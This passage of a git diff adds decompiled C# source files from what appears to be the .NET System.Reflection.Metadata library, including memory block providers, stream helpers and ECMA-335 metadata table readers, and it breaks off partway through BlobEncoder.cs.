b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/MemoryBlockProvider.cs new file mode 100644 index 0000000..a1515be --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/MemoryBlockProvider.cs @@ -0,0 +1,34 @@ +using System.IO; + +namespace System.Reflection.Internal; + +internal abstract class MemoryBlockProvider : IDisposable +{ + public abstract int Size { get; } + + public AbstractMemoryBlock GetMemoryBlock() + { + return GetMemoryBlockImpl(0, Size); + } + + public AbstractMemoryBlock GetMemoryBlock(int start, int size) + { + if ((ulong)((long)(uint)start + (long)(uint)size) > (ulong)Size) + { + Throw.ImageTooSmallOrContainsInvalidOffsetOrCount(); + } + return GetMemoryBlockImpl(start, size); + } + + protected abstract AbstractMemoryBlock GetMemoryBlockImpl(int start, int size); + + public abstract Stream GetStream(out StreamConstraints constraints); + + protected abstract void Dispose(bool disposing); + + public void Dispose() + { + Dispose(disposing: true); + GC.SuppressFinalize(this); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/MemoryMappedFileBlock.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/MemoryMappedFileBlock.cs new file mode 100644 index 0000000..9bc7a0a --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/MemoryMappedFileBlock.cs @@ -0,0 +1,68 @@ +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using System.Threading; + +namespace System.Reflection.Internal; + +internal sealed class MemoryMappedFileBlock : AbstractMemoryBlock +{ + private sealed class DisposableData : CriticalDisposableObject + { + private IDisposable _accessor; + + private SafeBuffer _safeBuffer; + + private unsafe byte* _pointer; + + public unsafe byte* Pointer => _pointer; + + public unsafe DisposableData(IDisposable accessor, SafeBuffer safeBuffer, long offset) + { + RuntimeHelpers.PrepareConstrainedRegions(); + try + { + } + finally + { + byte* pointer = null; + safeBuffer.AcquirePointer(ref pointer); + _accessor = accessor; + _safeBuffer = safeBuffer; + _pointer = pointer + offset; + } + } + + protected unsafe override void Release() + { + RuntimeHelpers.PrepareConstrainedRegions(); + try + { + } + finally + { + Interlocked.Exchange(ref _safeBuffer, null)?.ReleasePointer(); + Interlocked.Exchange(ref _accessor, null)?.Dispose(); + } + _pointer = null; + } + } + + private readonly DisposableData _data; + + private readonly int _size; + + public unsafe override byte* Pointer => _data.Pointer; + + public override int Size => _size; + + internal MemoryMappedFileBlock(IDisposable accessor, SafeBuffer safeBuffer, long offset, int size) + { + _data = new DisposableData(accessor, safeBuffer, offset); + _size = size; + } + + public override void Dispose() + { + _data.Dispose(); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/NativeHeapMemoryBlock.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/NativeHeapMemoryBlock.cs new file mode 100644 index 0000000..e7a476f --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/NativeHeapMemoryBlock.cs @@ -0,0 +1,62 @@ +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using System.Threading; + +namespace System.Reflection.Internal; + +internal sealed class NativeHeapMemoryBlock : AbstractMemoryBlock +{ + private sealed class DisposableData : CriticalDisposableObject + { + private IntPtr _pointer; + + public unsafe byte* Pointer => (byte*)(void*)_pointer; + + public DisposableData(int size) + { + RuntimeHelpers.PrepareConstrainedRegions(); + try + { + } + finally + { + _pointer = Marshal.AllocHGlobal(size); + } + } + + protected override void Release() + { + RuntimeHelpers.PrepareConstrainedRegions(); + try + { + } + finally + { + IntPtr intPtr = Interlocked.Exchange(ref _pointer, IntPtr.Zero); + if (intPtr != IntPtr.Zero) + { + Marshal.FreeHGlobal(intPtr); + } + } + } + } + + private readonly DisposableData _data; + + private readonly int _size; + + public unsafe override byte* Pointer => _data.Pointer; + + public override int Size => _size; + + internal NativeHeapMemoryBlock(int size) + { + _data = new DisposableData(size); + _size = size; + } + + public override void Dispose() + { + _data.Dispose(); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/ObjectPool.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/ObjectPool.cs new file mode 100644 index 0000000..d27e537 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/ObjectPool.cs @@ -0,0 +1,67 @@ +using System.Threading; + +namespace System.Reflection.Internal; + +internal sealed class ObjectPool where T : class +{ + private struct Element + { + internal T Value; + } + + private readonly Element[] _items; + + private readonly Func _factory; + + internal ObjectPool(Func factory) + : this(factory, Environment.ProcessorCount * 2) + { + } + + internal ObjectPool(Func factory, int size) + { + _factory = factory; + _items = new Element[size]; + } + + private T CreateInstance() + { + return _factory(); + } + + internal T Allocate() + { + Element[] items = _items; + int num = 0; + T val; + while (true) + { + if (num < items.Length) + { + val = items[num].Value; + if (val != null && val == Interlocked.CompareExchange(ref items[num].Value, null, val)) + { + break; + } + num++; + continue; + } + val = CreateInstance(); + break; + } + return val; + } + + internal void Free(T obj) + { + Element[] items = _items; + for (int i = 0; i < items.Length; i++) + { + if (items[i].Value == null) + { + items[i].Value = obj; + break; + } + } + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/PinnedObject.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/PinnedObject.cs new file mode 100644 index 0000000..c6b901c --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/PinnedObject.cs @@ -0,0 +1,42 @@ +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using System.Threading; + +namespace System.Reflection.Internal; + +internal sealed class PinnedObject : CriticalDisposableObject +{ + private GCHandle _handle; + + private int _isValid; + + public unsafe byte* Pointer => (byte*)(void*)_handle.AddrOfPinnedObject(); + + public PinnedObject(object obj) + { + RuntimeHelpers.PrepareConstrainedRegions(); + try + { + } + finally + { + _handle = GCHandle.Alloc(obj, GCHandleType.Pinned); + _isValid = 1; + } + } + + protected override void Release() + { + RuntimeHelpers.PrepareConstrainedRegions(); + try + { + } + finally + { + if (Interlocked.Exchange(ref _isValid, 0) != 0) + { + _handle.Free(); + } + } + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/PooledStringBuilder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/PooledStringBuilder.cs new file mode 100644 index 0000000..2f18b8b --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/PooledStringBuilder.cs @@ -0,0 +1,48 @@ +using System.Text; + +namespace System.Reflection.Internal; + +internal sealed class PooledStringBuilder +{ + public readonly StringBuilder Builder = new StringBuilder(); + + private readonly ObjectPool _pool; + + private static readonly ObjectPool s_poolInstance = CreatePool(); + + public int Length => Builder.Length; + + private PooledStringBuilder(ObjectPool pool) + { + _pool = pool; + } + + public void Free() + { + StringBuilder builder = Builder; + if (builder.Capacity <= 1024) + { + builder.Clear(); + _pool.Free(this); + } + } + + public string ToStringAndFree() + { + string result = Builder.ToString(); + Free(); + return result; + } + + public static ObjectPool CreatePool() + { + ObjectPool pool = null; + pool = new ObjectPool(() => new PooledStringBuilder(pool), 32); + return pool; + } + + public static PooledStringBuilder GetInstance() + { + return s_poolInstance.Allocate(); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/ReadOnlyUnmanagedMemoryStream.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/ReadOnlyUnmanagedMemoryStream.cs new file mode 100644 index 0000000..2c1a716 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/ReadOnlyUnmanagedMemoryStream.cs @@ -0,0 +1,95 @@ +using System.IO; +using System.Runtime.InteropServices; + +namespace System.Reflection.Internal; + +internal sealed class ReadOnlyUnmanagedMemoryStream : Stream +{ + private unsafe readonly byte* _data; + + private readonly int _length; + + private int _position; + + public override bool CanRead => true; + + public override bool CanSeek => true; + + public override bool CanWrite => false; + + public override long Length => _length; + + public override long Position + { + get + { + return _position; + } + set + { + Seek(value, SeekOrigin.Begin); + } + } + + public unsafe ReadOnlyUnmanagedMemoryStream(byte* data, int length) + { + _data = data; + _length = length; + } + + public unsafe override int ReadByte() + { + if (_position >= _length) + { + return -1; + } + return _data[_position++]; + } + + public unsafe override int Read(byte[] buffer, int offset, int count) + { + int num = Math.Min(count, _length - _position); + Marshal.Copy((IntPtr)(_data + _position), buffer, offset, num); + _position += num; + return num; + } + + public override void Flush() + { + } + + public override long Seek(long offset, SeekOrigin origin) + { + long num; + try + { + num = checked(origin switch + { + SeekOrigin.Begin => offset, + SeekOrigin.Current => offset + _position, + SeekOrigin.End => offset + _length, + _ => throw new ArgumentOutOfRangeException("origin"), + }); + } + catch (OverflowException) + { + throw new ArgumentOutOfRangeException("offset"); + } + if (num < 0 || num > int.MaxValue) + { + throw new ArgumentOutOfRangeException("offset"); + } + _position = (int)num; + return num; + } + + public override void SetLength(long value) + { + throw new NotSupportedException(); + } + + public override void Write(byte[] buffer, int offset, int count) + { + throw new NotSupportedException(); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/StreamConstraints.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/StreamConstraints.cs new file mode 100644 index 0000000..84cacf8 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/StreamConstraints.cs @@ -0,0 +1,10 @@ +namespace System.Reflection.Internal; + +internal readonly struct StreamConstraints(object? guardOpt, long startPosition, int imageSize) +{ + public readonly object? GuardOpt = guardOpt; + + public readonly long ImageStart = startPosition; + + public readonly int ImageSize = imageSize; +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/StreamExtensions.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/StreamExtensions.cs new file mode 100644 index 0000000..c9871bb --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/StreamExtensions.cs @@ -0,0 +1,97 @@ +using System.IO; +using System.Runtime.InteropServices; + +namespace System.Reflection.Internal; + +internal static class StreamExtensions +{ + internal const int StreamCopyBufferSize = 81920; + + private static bool IsWindows => Path.DirectorySeparatorChar == '\\'; + + private static SafeHandle GetSafeFileHandle(FileStream stream) + { + SafeHandle safeFileHandle; + try + { + safeFileHandle = stream.SafeFileHandle; + } + catch + { + return null; + } + if (safeFileHandle != null && safeFileHandle.IsInvalid) + { + return null; + } + return safeFileHandle; + } + + internal unsafe static int Read(this Stream stream, byte* buffer, int size) + { + if (!IsWindows || !(stream is FileStream stream2)) + { + return 0; + } + SafeHandle safeFileHandle = GetSafeFileHandle(stream2); + if (safeFileHandle == null) + { + return 0; + } + if (global::Interop.Kernel32.ReadFile(safeFileHandle, buffer, size, out var numBytesRead, IntPtr.Zero) != 0) + { + return numBytesRead; + } + return 0; + } + + internal unsafe static void CopyTo(this Stream source, byte* destination, int size) + { + byte[] array = new byte[Math.Min(81920, size)]; + while (size > 0) + { + int num = Math.Min(size, array.Length); + int num2 = source.Read(array, 0, num); + if (num2 <= 0 || num2 > num) + { + throw new IOException(System.SR.UnexpectedStreamEnd); + } + Marshal.Copy(array, 0, (IntPtr)destination, num2); + destination += num2; + size -= num2; + } + } + + internal static int TryReadAll(this Stream stream, byte[] buffer, int offset, int count) + { + int i; + int num; + for (i = 0; i < count; i += num) + { + num = stream.Read(buffer, offset + i, count - i); + if (num == 0) + { + break; + } + } + return i; + } + + internal static int GetAndValidateSize(Stream stream, int size, string streamParameterName) + { + long num = stream.Length - stream.Position; + if (size < 0 || size > num) + { + throw new ArgumentOutOfRangeException("size"); + } + if (size != 0) + { + return size; + } + if (num > int.MaxValue) + { + throw new ArgumentException(System.SR.StreamTooLarge, streamParameterName); + } + return (int)num; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/StreamMemoryBlockProvider.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/StreamMemoryBlockProvider.cs new file mode 100644 index 0000000..6efd394 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/StreamMemoryBlockProvider.cs @@ -0,0 +1,133 @@ +using System.Diagnostics.CodeAnalysis; +using System.IO; +using System.IO.MemoryMappedFiles; +using System.Threading; + +namespace System.Reflection.Internal; + +internal sealed class StreamMemoryBlockProvider : MemoryBlockProvider +{ + internal const int MemoryMapThreshold = 16384; + + private Stream _stream; + + private readonly object _streamGuard; + + private readonly bool _leaveOpen; + + private bool _useMemoryMap; + + private readonly long _imageStart; + + private readonly int _imageSize; + + private MemoryMappedFile _lazyMemoryMap; + + public override int Size => _imageSize; + + public StreamMemoryBlockProvider(Stream stream, long imageStart, int imageSize, bool leaveOpen) + { + _stream = stream; + _streamGuard = new object(); + _imageStart = imageStart; + _imageSize = imageSize; + _leaveOpen = leaveOpen; + _useMemoryMap = stream is FileStream; + } + + protected override void Dispose(bool disposing) + { + if (!_leaveOpen) + { + Interlocked.Exchange(ref _stream, null)?.Dispose(); + } + Interlocked.Exchange(ref _lazyMemoryMap, null)?.Dispose(); + } + + internal unsafe static NativeHeapMemoryBlock ReadMemoryBlockNoLock(Stream stream, long start, int size) + { + NativeHeapMemoryBlock nativeHeapMemoryBlock = new NativeHeapMemoryBlock(size); + bool flag = true; + try + { + stream.Seek(start, SeekOrigin.Begin); + int num = 0; + if ((num = stream.Read(nativeHeapMemoryBlock.Pointer, size)) != size) + { + stream.CopyTo(nativeHeapMemoryBlock.Pointer + num, size - num); + } + flag = false; + } + finally + { + if (flag) + { + nativeHeapMemoryBlock.Dispose(); + } + } + return nativeHeapMemoryBlock; + } + + protected override AbstractMemoryBlock GetMemoryBlockImpl(int start, int size) + { + long start2 = _imageStart + start; + if (_useMemoryMap && size > 16384) + { + if (TryCreateMemoryMappedFileBlock(start2, size, out var block)) + { + return block; + } + _useMemoryMap = false; + } + lock (_streamGuard) + { + return ReadMemoryBlockNoLock(_stream, start2, size); + } + } + + public override Stream GetStream(out StreamConstraints constraints) + { + constraints = new StreamConstraints(_streamGuard, _imageStart, _imageSize); + return _stream; + } + + private bool TryCreateMemoryMappedFileBlock(long start, int size, [NotNullWhen(true)] out MemoryMappedFileBlock block) + { + if (_lazyMemoryMap == null) + { + MemoryMappedFile memoryMappedFile; + lock (_streamGuard) + { + try + { + memoryMappedFile = MemoryMappedFile.CreateFromFile((FileStream)_stream, null, 0L, MemoryMappedFileAccess.Read, HandleInheritability.None, leaveOpen: true); + } + catch (UnauthorizedAccessException ex) + { + throw new IOException(ex.Message, ex); + } + } + if (memoryMappedFile == null) + { + block = null; + return false; + } + if (Interlocked.CompareExchange(ref _lazyMemoryMap, memoryMappedFile, null) != null) + { + memoryMappedFile.Dispose(); + } + } + MemoryMappedViewAccessor memoryMappedViewAccessor; + lock (_streamGuard) + { + memoryMappedViewAccessor = _lazyMemoryMap.CreateViewAccessor(start, size, MemoryMappedFileAccess.Read); + } + if (memoryMappedViewAccessor == null) + { + block = null; + return false; + } + block = new MemoryMappedFileBlock(memoryMappedViewAccessor, memoryMappedViewAccessor.SafeMemoryMappedViewHandle, memoryMappedViewAccessor.PointerOffset, size); + return true; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ArrayShapeEncoder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ArrayShapeEncoder.cs new file mode 100644 index 0000000..811115c --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ArrayShapeEncoder.cs @@ -0,0 +1,61 @@ +using System.Collections.Immutable; + +namespace System.Reflection.Metadata.Ecma335; + +public readonly struct ArrayShapeEncoder +{ + public BlobBuilder Builder { get; } + + public ArrayShapeEncoder(BlobBuilder builder) + { + Builder = builder; + } + + public void Shape(int rank, ImmutableArray sizes, ImmutableArray lowerBounds) + { + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_00d6: Unknown result type (might be due to invalid IL or missing references) + //IL_00db: Unknown result type (might be due to invalid IL or missing references) + if ((uint)(rank - 1) > 65534u) + { + Throw.ArgumentOutOfRange("rank"); + } + if (sizes.IsDefault) + { + Throw.ArgumentNull("sizes"); + } + Builder.WriteCompressedInteger(rank); + if (sizes.Length > rank) + { + Throw.ArgumentOutOfRange("rank"); + } + Builder.WriteCompressedInteger(sizes.Length); + Enumerator enumerator = sizes.GetEnumerator(); + while (enumerator.MoveNext()) + { + int current = enumerator.Current; + Builder.WriteCompressedInteger(current); + } + if (lowerBounds.IsDefault) + { + Builder.WriteCompressedInteger(rank); + for (int i = 0; i < rank; i++) + { + Builder.WriteCompressedSignedInteger(0); + } + return; + } + if (lowerBounds.Length > rank) + { + Throw.ArgumentOutOfRange("rank"); + } + Builder.WriteCompressedInteger(lowerBounds.Length); + Enumerator enumerator2 = lowerBounds.GetEnumerator(); + while (enumerator2.MoveNext()) + { + int current2 = enumerator2.Current; + Builder.WriteCompressedSignedInteger(current2); + } + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/AssemblyOSTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/AssemblyOSTableReader.cs new file mode 100644 index 0000000..f2b6339 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/AssemblyOSTableReader.cs @@ -0,0 +1,28 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct AssemblyOSTableReader +{ + internal readonly int NumberOfRows; + + private readonly int _OSPlatformIdOffset; + + private readonly int _OSMajorVersionIdOffset; + + private readonly int _OSMinorVersionIdOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal AssemblyOSTableReader(int numberOfRows, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _OSPlatformIdOffset = 0; + _OSMajorVersionIdOffset = _OSPlatformIdOffset + 4; + _OSMinorVersionIdOffset = _OSMajorVersionIdOffset + 4; + RowSize = _OSMinorVersionIdOffset + 4; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/AssemblyProcessorTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/AssemblyProcessorTableReader.cs new file mode 100644 index 0000000..c3cdc57 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/AssemblyProcessorTableReader.cs @@ -0,0 +1,22 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct AssemblyProcessorTableReader +{ + internal readonly int NumberOfRows; + + private readonly int _ProcessorOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal AssemblyProcessorTableReader(int numberOfRows, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _ProcessorOffset = 0; + RowSize = _ProcessorOffset + 4; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/AssemblyRefOSTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/AssemblyRefOSTableReader.cs new file mode 100644 index 0000000..98dccac --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/AssemblyRefOSTableReader.cs @@ -0,0 +1,34 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct AssemblyRefOSTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _IsAssemblyRefTableRowRefSizeSmall; + + private readonly int _OSPlatformIdOffset; + + private readonly int _OSMajorVersionIdOffset; + + private readonly int _OSMinorVersionIdOffset; + + private readonly int _AssemblyRefOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal AssemblyRefOSTableReader(int numberOfRows, int assemblyRefTableRowRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _IsAssemblyRefTableRowRefSizeSmall = assemblyRefTableRowRefSize == 2; + _OSPlatformIdOffset = 0; + _OSMajorVersionIdOffset = _OSPlatformIdOffset + 4; + _OSMinorVersionIdOffset = _OSMajorVersionIdOffset + 4; + _AssemblyRefOffset = _OSMinorVersionIdOffset + 4; + RowSize = _AssemblyRefOffset + assemblyRefTableRowRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/AssemblyRefProcessorTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/AssemblyRefProcessorTableReader.cs new file mode 100644 index 0000000..670ca48 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/AssemblyRefProcessorTableReader.cs @@ -0,0 +1,28 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct AssemblyRefProcessorTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _IsAssemblyRefTableRowSizeSmall; + + private readonly int _ProcessorOffset; + + private readonly int _AssemblyRefOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal AssemblyRefProcessorTableReader(int numberOfRows, int assemblyRefTableRowRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _IsAssemblyRefTableRowSizeSmall = assemblyRefTableRowRefSize == 2; + _ProcessorOffset = 0; + _AssemblyRefOffset = _ProcessorOffset + 4; + RowSize = _AssemblyRefOffset + assemblyRefTableRowRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/AssemblyRefTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/AssemblyRefTableReader.cs new file mode 100644 index 0000000..b9e53df --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/AssemblyRefTableReader.cs @@ -0,0 +1,91 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct AssemblyRefTableReader +{ + internal readonly int NumberOfNonVirtualRows; + + internal readonly int NumberOfVirtualRows; + + private readonly bool _IsStringHeapRefSizeSmall; + + private readonly bool _IsBlobHeapRefSizeSmall; + + private readonly int _MajorVersionOffset; + + private readonly int _MinorVersionOffset; + + private readonly int _BuildNumberOffset; + + private readonly int _RevisionNumberOffset; + + private readonly int _FlagsOffset; + + private readonly int _PublicKeyOrTokenOffset; + + private readonly int _NameOffset; + + private readonly int _CultureOffset; + + private readonly int _HashValueOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal AssemblyRefTableReader(int numberOfRows, int stringHeapRefSize, int blobHeapRefSize, MemoryBlock containingBlock, int containingBlockOffset, MetadataKind metadataKind) + { + NumberOfNonVirtualRows = numberOfRows; + NumberOfVirtualRows = ((metadataKind != MetadataKind.Ecma335) ? 6 : 0); + _IsStringHeapRefSizeSmall = stringHeapRefSize == 2; + _IsBlobHeapRefSizeSmall = blobHeapRefSize == 2; + _MajorVersionOffset = 0; + _MinorVersionOffset = _MajorVersionOffset + 2; + _BuildNumberOffset = _MinorVersionOffset + 2; + _RevisionNumberOffset = _BuildNumberOffset + 2; + _FlagsOffset = _RevisionNumberOffset + 2; + _PublicKeyOrTokenOffset = _FlagsOffset + 4; + _NameOffset = _PublicKeyOrTokenOffset + blobHeapRefSize; + _CultureOffset = _NameOffset + stringHeapRefSize; + _HashValueOffset = _CultureOffset + stringHeapRefSize; + RowSize = _HashValueOffset + blobHeapRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + } + + internal Version GetVersion(int rowId) + { + int num = (rowId - 1) * RowSize; + return new Version(Block.PeekUInt16(num + _MajorVersionOffset), Block.PeekUInt16(num + _MinorVersionOffset), Block.PeekUInt16(num + _BuildNumberOffset), Block.PeekUInt16(num + _RevisionNumberOffset)); + } + + internal AssemblyFlags GetFlags(int rowId) + { + int num = (rowId - 1) * RowSize; + return (AssemblyFlags)Block.PeekUInt32(num + _FlagsOffset); + } + + internal BlobHandle GetPublicKeyOrToken(int rowId) + { + int num = (rowId - 1) * RowSize; + return BlobHandle.FromOffset(Block.PeekHeapReference(num + _PublicKeyOrTokenOffset, _IsBlobHeapRefSizeSmall)); + } + + internal StringHandle GetName(int rowId) + { + int num = (rowId - 1) * RowSize; + return StringHandle.FromOffset(Block.PeekHeapReference(num + _NameOffset, _IsStringHeapRefSizeSmall)); + } + + internal StringHandle GetCulture(int rowId) + { + int num = (rowId - 1) * RowSize; + return StringHandle.FromOffset(Block.PeekHeapReference(num + _CultureOffset, _IsStringHeapRefSizeSmall)); + } + + internal BlobHandle GetHashValue(int rowId) + { + int num = (rowId - 1) * RowSize; + return BlobHandle.FromOffset(Block.PeekHeapReference(num + _HashValueOffset, _IsBlobHeapRefSizeSmall)); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/AssemblyTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/AssemblyTableReader.cs new file mode 100644 index 0000000..1029864 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/AssemblyTableReader.cs @@ -0,0 +1,82 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct AssemblyTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _IsStringHeapRefSizeSmall; + + private readonly bool _IsBlobHeapRefSizeSmall; + + private readonly int _HashAlgIdOffset; + + private readonly int _MajorVersionOffset; + + private readonly int _MinorVersionOffset; + + private readonly int _BuildNumberOffset; + + private readonly int _RevisionNumberOffset; + + private readonly int _FlagsOffset; + + private readonly int _PublicKeyOffset; + + private readonly int _NameOffset; + + private readonly int _CultureOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal AssemblyTableReader(int numberOfRows, int stringHeapRefSize, int blobHeapRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = ((numberOfRows > 1) ? 1 : numberOfRows); + _IsStringHeapRefSizeSmall = stringHeapRefSize == 2; + _IsBlobHeapRefSizeSmall = blobHeapRefSize == 2; + _HashAlgIdOffset = 0; + _MajorVersionOffset = _HashAlgIdOffset + 4; + _MinorVersionOffset = _MajorVersionOffset + 2; + _BuildNumberOffset = _MinorVersionOffset + 2; + _RevisionNumberOffset = _BuildNumberOffset + 2; + _FlagsOffset = _RevisionNumberOffset + 2; + _PublicKeyOffset = _FlagsOffset + 4; + _NameOffset = _PublicKeyOffset + blobHeapRefSize; + _CultureOffset = _NameOffset + stringHeapRefSize; + RowSize = _CultureOffset + stringHeapRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + } + + internal AssemblyHashAlgorithm GetHashAlgorithm() + { + return (AssemblyHashAlgorithm)Block.PeekUInt32(_HashAlgIdOffset); + } + + internal Version GetVersion() + { + return new Version(Block.PeekUInt16(_MajorVersionOffset), Block.PeekUInt16(_MinorVersionOffset), Block.PeekUInt16(_BuildNumberOffset), Block.PeekUInt16(_RevisionNumberOffset)); + } + + internal AssemblyFlags GetFlags() + { + return (AssemblyFlags)Block.PeekUInt32(_FlagsOffset); + } + + internal BlobHandle GetPublicKey() + { + return BlobHandle.FromOffset(Block.PeekHeapReference(_PublicKeyOffset, _IsBlobHeapRefSizeSmall)); + } + + internal StringHandle GetName() + { + return StringHandle.FromOffset(Block.PeekHeapReference(_NameOffset, _IsStringHeapRefSizeSmall)); + } + + internal StringHandle GetCulture() + { + return StringHandle.FromOffset(Block.PeekHeapReference(_CultureOffset, _IsStringHeapRefSizeSmall)); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/BlobEncoder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/BlobEncoder.cs new file mode 100644 index 0000000..022f304 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/BlobEncoder.cs @@ -0,0 +1,117 @@ +namespace System.Reflection.Metadata.Ecma335; + +public readonly struct BlobEncoder +{ + public BlobBuilder Builder { get; } + + public BlobEncoder(BlobBuilder builder) + { + if (builder == null) + { + Throw.ArgumentNull("builder"); + } + Builder = builder; + } + + public FieldTypeEncoder Field() + { + Builder.WriteByte(6); + return new FieldTypeEncoder(Builder); + } + + public SignatureTypeEncoder FieldSignature() + { + return Field().Type(); + } + + public GenericTypeArgumentsEncoder MethodSpecificationSignature(int genericArgumentCount) + { + if ((uint)genericArgumentCount > 65535u) + { + Throw.ArgumentOutOfRange("genericArgumentCount"); + } + Builder.WriteByte(10); + Builder.WriteCompressedInteger(genericArgumentCount); + return new GenericTypeArgumentsEncoder(Builder); + } + + public MethodSignatureEncoder MethodSignature(SignatureCallingConvention convention = SignatureCallingConvention.Default, int genericParameterCount = 0, bool isInstanceMethod = false) + { + if ((uint)genericParameterCount > 65535u) + { + Throw.ArgumentOutOfRange("genericParameterCount"); + } + SignatureAttributes attributes = (SignatureAttributes)(((genericParameterCount != 0) ? 16 : 0) | (isInstanceMethod ? 32 : 0)); + Builder.WriteByte(new SignatureHeader(SignatureKind.Method, 